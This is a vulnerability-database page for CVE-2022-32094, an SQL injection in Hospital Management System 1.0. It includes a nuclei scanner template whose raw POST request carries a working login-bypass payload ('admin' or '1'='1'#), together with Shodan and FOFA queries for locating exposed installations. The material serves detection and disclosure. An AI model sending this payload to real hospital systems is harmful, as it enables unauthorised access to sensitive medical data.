Browse / CVEs / CVE-2022-32094
CVE-2022-32094· hospital management system project / hospital management system· CWE-89
Hospital Management System 1.0 - SQL Injection
Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/doctor.php. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
Fix
Upgrade to the latest version to mitigate this vulnerability.
How to confirm it
Send: POST /hms/doctor/
Positive when: contains "<title>Doctor | Dashboard</title>" and "View Appointment History" AND status 200Run it with nuclei: nuclei -id CVE-2022-32094 -u <target>
The full check
id: CVE-2022-32094
info:
name: Hospital Management System 1.0 - SQL Injection
author: arafatansari
severity: critical
description: |
Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/doctor.php. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/Danie1233/Hospital-Management-System-v1.0-SQLi-3/
- https://nvd.nist.gov/vuln/detail/CVE-2022-32094
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-32094
cwe-id: CWE-89
epss-score: 0.07749
epss-percentile: 0.94681
cpe: cpe:2.3:a:hospital_management_system_project:hospital_management_system:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: hospital_management_system_project
product: hospital_management_system
shodan-query:
- http.html:"Hospital Management System"
- http.html:"hospital management system"
fofa-query: body="hospital management system"
tags: cve,cve2022,hms,cms,sqli,auth-bypass,hospital_management_system_project,vuln
http:
- raw:
- |
POST /hms/doctor/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<title>Doctor | Dashboard</title>'
- 'View Appointment History'
condition: and
- type: status
status:
- 200References
- https://github.com/Danie1233/Hospital-Management-System-v1.0-SQLi-3/
- https://nvd.nist.gov/vuln/detail/CVE-2022-32094
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from